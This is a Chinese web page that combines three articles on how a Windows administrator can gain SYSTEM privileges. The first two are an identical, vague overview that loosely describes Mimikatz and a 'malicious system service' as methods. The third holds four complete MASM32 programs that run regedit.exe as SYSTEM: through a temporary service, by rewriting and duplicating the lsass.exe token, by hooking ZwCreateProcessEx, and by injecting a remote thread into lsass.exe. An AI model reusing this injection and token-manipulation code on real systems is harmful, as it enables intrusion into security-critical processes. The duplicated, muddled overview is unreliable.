从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料(最新3篇)
从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料 篇一
在计算机系统中,管理员权限是最高权限之一。然而,有时候我们需要更高级的权限来执行一些任务,比如获取 SYSTEM 权限。在本篇文章中,我们将介绍四种方法来从管理员身份获得 SYSTEM 权限。
方法一:利用提权工具
一种常见的方法是使用提权工具来获取 SYSTEM 权限。这些工具通常会利用系统漏洞或者提供特权操作的机制来提升用户权限。其中一种常用的提权工具是“Mimikatz”,它能够提供 SYSTEM 权限的访问权限。通过运行这些工具,管理员可以获得 SYSTEM 权限并执行需要的操作。
方法二:利用系统服务
另一种方法是通过利用系统服务来获取 SYSTEM 权限。系统服务是在系统启动时自动运行的一组程序。管理员可以创建一个恶意系统服务,当系统启动时,该服务会以 SYSTEM 权限运行。通过这种方式,管理员可以获取 SYSTEM 权限并执行需要的操作。
方法三:利用系统进程
管理员可以利用系统进程来获取 SYSTEM 权限。系统进程是在系统启动时自动运行的一组核心程序。通过替换一个系统进程,管理员可以以 SYSTEM 权限运行自己的代码。这种方法需要对系统进程进行修改,因此需要慎重操作。
方法四:利用系统漏洞
最后一种方法是通过利用系统漏洞来获取 SYSTEM 权限。系统漏洞是系统中存在的安全漏洞,黑客可以利用这些漏洞来获取高级权限。管理员可以通过研究已知的漏洞并应用相应的修复程序来保护系统免受攻击。
总结
从管理员身份获得 SYSTEM 权限可以帮助管理员执行一些需要更高级权限的任务。然而,这些方法都需要管理员对计算机系统有深入的了解,并且需要慎重操作。为了保护系统的安全性,管理员应该定期更新系统补丁,并使用防火墙和安全软件来保护系统免受攻击。
从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料 篇二
在计算机系统中,管理员权限是最高权限之一。然而,有时候我们需要更高级的权限来执行一些任务,比如获取 SYSTEM 权限。在本篇文章中,我们将介绍四种方法来从管理员身份获得 SYSTEM 权限。
方法一:利用提权工具
一种常见的方法是使用提权工具来获取 SYSTEM 权限。这些工具通常会利用系统漏洞或者提供特权操作的机制来提升用户权限。其中一种常用的提权工具是“Mimikatz”,它能够提供 SYSTEM 权限的访问权限。通过运行这些工具,管理员可以获得 SYSTEM 权限并执行需要的操作。
方法二:利用系统服务
另一种方法是通过利用系统服务来获取 SYSTEM 权限。系统服务是在系统启动时自动运行的一组程序。管理员可以创建一个恶意系统服务,当系统启动时,该服务会以 SYSTEM 权限运行。通过这种方式,管理员可以获取 SYSTEM 权限并执行需要的操作。
方法三:利用系统进程
管理员可以利用系统进程来获取 SYSTEM 权限。系统进程是在系统启动时自动运行的一组核心程序。通过替换一个系统进程,管理员可以以 SYSTEM 权限运行自己的代码。这种方法需要对系统进程进行修改,因此需要慎重操作。
方法四:利用系统漏洞
最后一种方法是通过利用系统漏洞来获取 SYSTEM 权限。系统漏洞是系统中存在的安全漏洞,黑客可以利用这些漏洞来获取高级权限。管理员可以通过研究已知的漏洞并应用相应的修复程序来保护系统免受攻击。
总结
从管理员身份获得 SYSTEM 权限可以帮助管理员执行一些需要更高级权限的任务。然而,这些方法都需要管理员对计算机系统有深入的了解,并且需要慎重操作。为了保护系统的安全性,管理员应该定期更新系统补丁,并使用防火墙和安全软件来保护系统免受攻击。
从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料 篇三
本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件,
源代码很容易修改成命令行方式运行指定的程序,
从管理员身份获得 SYSTEM 权限的四种方法
。1. 以服务方式运行
2. 添加 ACL 的方法
3. HOOK ZwCreateProcessEx 函数
4. 远程线程的方法
这几种方法都不是我想出来的,我只不过是总结了一下,用 Win32ASM 重写了代码而以。
关于这个大家可以看文章末尾的参考资料。下面简单的分析每一种方法。
1. 以服务方式运行
因为以服务方式运行程序时,相当于运行程序的是系统进程,所以,
被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。
;@echo off
;goto make
;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys1
;
; 采用以服务方式运行的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib
_ReLaunch proto
CTXT MACRO text
local lbl
.const
lbl db text,0
.code
exitm
ENDM
.code
start proc
LOCALstStartupInfo : STARTUPINFO
LOCALprocinfo : PROCESS_INFORMATION
invokeCreateMutex, NULL, TRUE, CTXT("GetSys1_Mutex")
invokeGetLastError
.if eax==ERROR_ALREADY_EXISTS
invokeRtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
movstStartupInfo.cb, sizeof stStartupInfo
invokeCreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr stStartupInfo, addr procinfo
invokeCloseHandle, procinfo.hProcess
invokeCloseHandle, procinfo.hThread
.else
invoke_ReLaunch
.endif
invokeExitProcess, NULL
start endp
_ReLaunch proc
LOCALhSCManager
LOCALhService
LOCALszName[MAX_PATH] : byte
invokeOpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE
.if eax!=0
movhSCManager, eax
invokeOpenService, hSCManager, CTXT("GetSys1Temp"), DELETE
.if eax!=0
pusheax
invokeDeleteService, eax
callCloseServiceHandle
.endif
invokeGetModuleFileName, NULL, addr szName, MAX_PATH
invokeCreateService, hSCManager, CTXT("GetSys1Temp"), CTXT("GetSys1 Temp Service"), \
SERVICE_START + SERVICE_QUERY_STATUS + DELETE, \
SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS, SERVICE_DEMAND_START, \
SERVICE_ERROR_IGNORE, addr szName, NULL, NULL, NULL, NULL, NULL
.if eax!=0
movhService, eax
invokeStartService, hService, 0, NULL
invokeDeleteService, hService
invokeCloseServiceHandle, hService
.endif
invokeCloseServiceHandle, hSCManager
.endif
ret
_ReLaunch endp
end start
:make
set path=%path%;c:\masm32\bin
set appname=GetSys1
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
GetSys1(第一次运行的这个进程 GetSys1 我们称为 A) 开始运行时先创建一个互斥量,
接着以服务的方式重新启动自己
(又一次运行的进程 GetSys1 我们称为 B),重新运行后的 B 已经具有了 SYSTEM 权限。
B 再通过 CreateProcess 函数运行 regedit.exe 程序,
因为 B 具有 SYSTEM 权限,所以 regedit.exe 从中继承了 SYSTEM 权限。
运行完了 regedit.exe 后 B 结束运行,
然后 A 中的 StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返回,
所以不能够直接通过服务的方式运行 regedit.exe。
2. 添加 ACL 的方法
主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser
函数的第一个参数是特定用户的令牌,
把这个参数设为具有 SYSTEM 权限的令牌即可。
;@echo off
;goto make
;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys2
;
; 采用添加 ACL 的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\accctrl.inc
include c:\masm32\include\masm32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
_ModifySecurity proto :DWORD,:DWORD
CTXT MACRO text
local lbl
.const
lbl db text,0
.code
exitm
ENDM
ACL STRUCT
AclRevisionBYTE?
Sbz1BYTE?
AclSizeWORD?
AceCountWORD?
Sbz2WORD?
ACL ENDS
PACL typedef PTR ACL
SecurityImpersonationequ 2
.code
start proc
LOCALhProc
LOCALhToken, hNewToken
LOCALstStartupInfo : STARTUPINFO
LOCALprocinfo : PROCESS_INFORMATION
subeax, eax
movhProc, eax
movhToken, eax
movhNewToken, eax
invokeRtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
invokeRtlZeroMemory, addr procinfo, sizeof procinfo
invoke_EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
invoke_GetPidFromProcName, CTXT("lsass.exe")
invokeOpenProcess, PROCESS_QUERY_INFORMATION, 0, eax
testeax, eax
jz_exit
movhProc, eax
invokeOpenProcessToken, hProc, READ_CONTROL+WRITE_DAC, addr hToken
testeax, eax
jz_exit
invoke_ModifySecurity, hToken, TOKEN_ALL_ACCESS
testeax, eax
jz_exit
invokeCloseHandle, hToken
movhToken, 0
invokeOpenProcessToken, hProc, TOKEN_ALL_ACCESS, addr hToken
testeax, eax
jz_exit
invokeDuplicateTokenEx, hToken, TOKEN_ALL_ACCESS, 0,
SecurityImpersonation, TokenPrimary, addr hNewToken
testeax, eax
jz_exit
invokeImpersonateLoggedOnUser, hNewToken
testeax, eax
jz_exit
movstStartupInfo.cb, sizeof stStartupInfo
invokeCreateProcessAsUser, hNewToken, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr stStartupInfo, addr procinfo
testeax, eax
jz_exit
invokeCloseHandle, procinfo.hProcess
invokeCloseHandle, procinfo.hThread
_exit:
.if hProc
invokeCloseHandle, hProc
.endif
.if hToken
invokeCloseHandle, hToken
.endif
.if hNewToken
invokeCloseHandle, hNewToken
.endif
invokeExitProcess, NULL
start endp
_ModifySecurity proc uses ebx esi edi, hToken:DWORD, dwAccess:DWORD
LOCALpSD, pAbsSD
LOCALdwSDLength
LOCALbDaclPresent, bDaclDefaulted
LOCALpAcl : PACL
LOCALpNewAcl : PACL
LOCALszName[1024] : BYTE
LOCALea : EXPLICIT_ACCESS
LOCALpSacl, pOwner, pPrimaryGroup
LOCALdwAclSize, dwSaclSize, dwOwnerSize, dwPrimaryGroup
LOCALbSuccess
subeax, eax
movpSD, eax
movpAbsSD, eax
movdwSDLength, eax
movbDaclPresent, eax
movbDaclDefaulted, eax
movpAcl, eax
movpNewAcl, eax
movpSacl, eax
movpOwner, eax
movpPrimaryGroup, eax
movdwAclSize, eax
movdwSaclSize, eax
movdwOwnerSize, eax
movdwPrimaryGroup, eax
movbSuccess, eax
invokeGetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, 0, addr dwSDLength
invokeLocalAlloc, LPTR, dwSDLength
testeax, eax
jz_exit
movpSD, eax
invokeGetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD,
dwSDLength, addr dwSDLength
invokeGetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr bDaclDefaulted
moveax, sizeof szName
pusheax
invokeGetUserName, addr szName, esp
popeax
invokeBuildExplicitAccessWithName, addr ea, addr szName, dwAccess, GRANT_ACCESS, FALSE
invokeSetEntriesInAcl, 1, addr ea, pAcl, addr pNewAcl
cmpeax, ERROR_SUCCESS
jne_exit
invokeLocalFree, pAcl
movpAcl, 0
invokeMakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \
pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
invokeLocalAlloc, LPTR, dwSDLength
testeax, eax
jz_exit
movpAbsSD, eax
invokeLocalAlloc, LPTR, dwAclSize
testeax, eax
jz_exit
movpAcl, eax
invokeLocalAlloc, LPTR, dwSaclSize
testeax, eax
jz_exit
movpSacl, eax
invokeLocalAlloc, LPTR, dwOwnerSize
testeax, eax
jz_exit
movpOwner, eax
invokeLocalAlloc, LPTR, dwPrimaryGroup
testeax, eax
jz_exit
movpPrimaryGroup, eax
invokeMakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \
pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
invokeSetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pNewAcl, bDaclDefaulted
invokeSetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pAbsSD
movbSuccess, 1
_exit:
.if pSD
invokeLocalFree, pSD
.endif
.if pAcl
invokeLocalFree, pAcl
.endif
.if pNewAcl
invokeLocalFree, pNewAcl
.endif
.if pAbsSD
invokeLocalFree, pAbsSD
.endif
.if pSacl
invokeLocalFree, pSacl
.endif
.if pOwner
invokeLocalFree, pOwner
.endif
.if pPrimaryGroup
invokeLocalFree, pPrimaryGroup
.endif
moveax, bSuccess
ret
_ModifySecurity endp
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCALhToken
LOCALtkp : TOKEN_PRIVILEGES
invokeGetCurrentProcess
movedx, eax
invokeOpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
invokeLookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
movtkp.PrivilegeCount, 1
xoreax, eax
.if bFlags
moveax, SE_PRIVILEGE_ENABLED
.endif
movtkp.Privileges.Attributes, eax
invokeAdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
pusheax
invokeCloseHandle, hToken
popeax
ret
_EnablePrivilege endp
_GetPidFromProcName proc lpProcName:DWORD
LOCALstProcess : PROCESSENTRY32
LOCALhSnapshot
LOCALdwProcessID
movdwProcessID, 0
invokeRtlZeroMemory, addr stProcess, sizeof stProcess
movstProcess.dwSize, sizeof stProcess
invokeCreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
movhSnapshot, eax
invokeProcess32First, hSnapshot, addr stProcess
.while eax
invokelstrcmpi, lpProcName, addr stProcess.szExeFile
.if eax==0
moveax, stProcess.th32ProcessID
movdwProcessID, eax
.break
.endif
invokeProcess32Next, hSnapshot, addr stProcess
.endw
invokeCloseHandle, hSnapshot
moveax, dwProcessID
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:\masm32\bin
set appname=GetSys2
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
GetSys2 取得 lsass.exe 进程的令牌,缺省情况下操作这个令牌的权限很小,
所以需要先取得操作这个令牌的所有权限,
电脑资料
《从管理员身份获得 SYSTEM 权限的四种方法》()。这个任务由函数 _ModifySecurity 来完成。有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser
函数运行 regedit.exe 程序了。有关安全性编程不清楚的地方可以参考[3]。
3. HOOK ZwCreateProcessEx 函数
有关这个[1]里面讲得很清楚了,下面直接给出源代码。
;@echo off
;goto make
;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys3
;
; 采用 HOOK ZwCreateProcessEx 函数的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
_HackedZwCreateProcessEx proto
CTXT MACRO text
local lbl
.const
lbl db text,0
.code
exitm
ENDM
ASMJMP struct
mov_eaxBYTE?
addressDWORD?
jmp_eaxWORD?
ASMJMP ends
.data?
g_hProc dd?
g_dwFuncdd?
.code
start proc
LOCALosvi : OSVERSIONINFO
LOCALlpAsmJmp
LOCALmbi : MEMORY_BASIC_INFORMATION
LOCALstStartupInfo : STARTUPINFO
LOCALprocinfo : PROCESS_INFORMATION
subeax, eax
movlpAsmJmp, eax
invokeRtlZeroMemory, addr osvi, sizeof osvi
invokeRtlZeroMemory, addr mbi, sizeof mbi
invokeRtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
invokeRtlZeroMemory, addr procinfo, sizeof procinfo
movosvi.dwOSVersionInfoSize, sizeof osvi
invokeGetVersionEx, addr osvi
cmposvi.dwMajorVersion, 5
jnz_exit
.if osvi.dwMinorVersion==1
movg_dwFunc, 30h
.elseif osvi.dwMinorVersion==2
movg_dwFunc, 32h
.endif
invoke_EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
invoke_GetPidFromProcName, CTXT("lsass.exe")
testeax, eax
jz_exit
invokeOpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax
testeax, eax
jz_exit
movg_hProc, eax
invokeGetModuleHandle, CTXT("ntdll.dll")
movedx, eax
invokeGetProcAddress, edx, CTXT("ZwCreateProcessEx")
movlpAsmJmp, eax
invokeVirtualQuery, lpAsmJmp, addr mbi, sizeof mbi
pusheax
invokeVirtualProtect, mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, esp
popeax
movedi, lpAsmJmp
assumeedi : ptr ASMJMP
mov[edi].mov_eax, 0B8h
mov[edi].address, offset _HackedZwCreateProcessEx
mov[edi].jmp_eax, 0E0FFh
movstStartupInfo.cb, sizeof stStartupInfo
invokeCreateProcess, 0, CTXT("regedit.exe"),
0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
testeax, eax
jz_exit
invokeCloseHandle, procinfo.hProcess
invokeCloseHandle, procinfo.hThread
_exit:
invokeExitProcess, NULL
start endp
_HackedZwCreateProcessEx proc
moveax, g_hProc
movdword ptr [esp+16], eax
moveax, g_dwFunc
leaedx, dword ptr [esp+4]
int2Eh
retn24h
_HackedZwCreateProcessEx endp
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCALhToken
LOCALtkp : TOKEN_PRIVILEGES
invokeGetCurrentProcess
movedx, eax
invokeOpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
invokeLookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
movtkp.PrivilegeCount, 1
xoreax, eax
.if bFlags
moveax, SE_PRIVILEGE_ENABLED
.endif
movtkp.Privileges.Attributes, eax
invokeAdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
pusheax
invokeCloseHandle, hToken
popeax
ret
_EnablePrivilege endp
_GetPidFromProcName proc lpProcName:DWORD
LOCALstProcess : PROCESSENTRY32
LOCALhSnapshot
LOCALdwProcessID
movdwProcessID, 0
invokeRtlZeroMemory, addr stProcess, sizeof stProcess
movstProcess.dwSize, sizeof stProcess
invokeCreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
movhSnapshot, eax
invokeProcess32First, hSnapshot, addr stProcess
.while eax
invokelstrcmpi, lpProcName, addr stProcess.szExeFile
.if eax==0
moveax, stProcess.th32ProcessID
movdwProcessID, eax
.break
.endif
invokeProcess32Next, hSnapshot, addr stProcess
.endw
invokeCloseHandle, hSnapshot
moveax, dwProcessID
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:\masm32\bin
set appname=GetSys3
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
4. 远程线程的方法
通过注入远程线程的方法来运行指定的 regedit.exe 程序,
也是相当于运行 regedit.exe 程序的是系统进程,
那么 regedit.exe 也就自然而然的继承了系统进程的 SYSTEM 权限。
;@echo off
;goto make
;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys4
;
; 采用远程线程的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
;下面两个宏来源于罗云彬的《Windows 环境下32位汇编程序设计》一书
reverseArgs macro arglist:VARARG
localtxt,count
txtTEXTEQU <>
count= 0
fori,
count= count + 1
txtTEXTEQU @CatStr(i,,<%txt>)
endm
ifcount GT 0
txtSUBSTRtxt,1,@SizeStr(%txt)-1
endif
exitmtxt
endm
_invoke macro _Proc,args:VARARG
localcount
count= 0
%fori,< reverseArgs( args ) >
count= count + 1
pushi
endm
calldword ptr _Proc
endm
CTXT MACRO text
local lbl
.const
lbl db text,0
.code
exitm
ENDM
.data?
g_hProcessdd?
g_lpRemoteCodedd?
.code
Remote_code_startequ this byte
g_lpGetModuleHandleAdd?
g_lpGetProcAddressdd?
g_szKernel32db"Kernel32.dll",0
g_szCreateProcessAdb"CreateProcessA",0
g_lpCreateProcessAdd?
g_szRegeditdb"Regedit.exe",0
g_szDesktopdb"WinSta0\Default",0
g_stStartupInfoSTARTUPINFO
g_procinfoPROCESS_INFORMATION
_RemoteThread proc
;int3
pushad
call@F
@@:
popebx
subebx, offset @B
leaeax, [ebx+g_szKernel32]
_invoke [ebx+g_lpGetModuleHandleA], eax
movesi, eax
leaeax, [ebx+g_szCreateProcessA]
_invoke [ebx+g_lpGetProcAddress], esi, eax
mov[ebx+g_lpCreateProcessA], eax
leaeax, [ebx+g_szDesktop]
leaecx, [ebx+g_stStartupInfo]
movdword ptr [ecx], sizeof g_stStartupInfo
movdword ptr [ecx+8], eax
leaeax, [ebx+g_szRegedit]
leaedx, [ebx+g_procinfo]
_invoke [ebx+g_lpCreateProcessA], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
popad
ret
_RemoteThread endp
Remote_code_endequ this byte
Remote_code_lengthequ offset Remote_code_end - offset Remote_code_start
start proc
invokeGetModuleHandle, CTXT("kernel32.dll")
movebx, eax
invokeGetProcAddress, ebx, CTXT("GetModuleHandleA")
movg_lpGetModuleHandleA, eax
invokeGetProcAddress, ebx, CTXT("GetProcAddress")
movg_lpGetProcAddress, eax
invoke_EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
invoke_GetPidFromProcName, CTXT("lsass.exe")
invokeOpenProcess, PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE, FALSE, eax
.if eax
movg_hProcess, eax
invokeVirtualAllocEx, g_hProcess, NULL, Remote_code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE
.if eax
movg_lpRemoteCode, eax
invokeWriteProcessMemory, g_hProcess, g_lpRemoteCode,
offset Remote_code_start, Remote_code_length, NULL
moveax, g_lpRemoteCode
addeax, offset _RemoteThread - offset Remote_code_start
invokeCreateRemoteThread, g_hProcess, NULL, 0, eax, 0, 0, NULL
invokeCloseHandle, eax
.endif
invokeCloseHandle, g_hProcess
.endif
invokeExitProcess, NULL
start endp
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCALhToken
LOCALtkp : TOKEN_PRIVILEGES
invokeGetCurrentProcess
movedx, eax
invokeOpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
invokeLookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
movtkp.PrivilegeCount, 1
xoreax, eax
.if bFlags
moveax, SE_PRIVILEGE_ENABLED
.endif
movtkp.Privileges.Attributes, eax
invokeAdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
pusheax
invokeCloseHandle, hToken
popeax
ret
_EnablePrivilege endp
_GetPidFromProcName proc lpProcName:DWORD
LOCALstProcess : PROCESSENTRY32
LOCALhSnapshot
LOCALdwProcessID
movdwProcessID, 0
invokeRtlZeroMemory, addr stProcess, sizeof stProcess
movstProcess.dwSize, sizeof stProcess
invokeCreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
movhSnapshot, eax
invokeProcess32First, hSnapshot, addr stProcess
.while eax
invokelstrcmpi, lpProcName, addr stProcess.szExeFile
.if eax==0
moveax, stProcess.th32ProcessID
movdwProcessID, eax
.break
.endif
invokeProcess32Next, hSnapshot, addr stProcess
.endw
invokeCloseHandle, hSnapshot
moveax, dwProcessID
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:\masm32\bin
set appname=GetSys4
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows /section:.text,rwe %appname%.obj
del %appname%.obj
echo.
pause
这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess 函数时,lpStartupInfo
参数指向的 STARTUPINFO 结构成员 lpDesktop 需要明确的指定 WinSta0\Default 为运行桌面。
否则,程序 regedit.exe 运行后不知道跑到哪里去了。
参考资料
[1] scz MSDN系列(3)--Administrator用户直接获取SYSTEM权限
http://www.nsfocus.net/index.php?ac...ew&mid=1900
[2] wsu 1.0
http://www.BingleSite.net
[3] Keith Brown 《Windows 安全性编程》
[4] Token.Master
Jeffrey Richter/Jason D.Clark 《Programming.Server-Side.Applications.for.MS.Windows.2000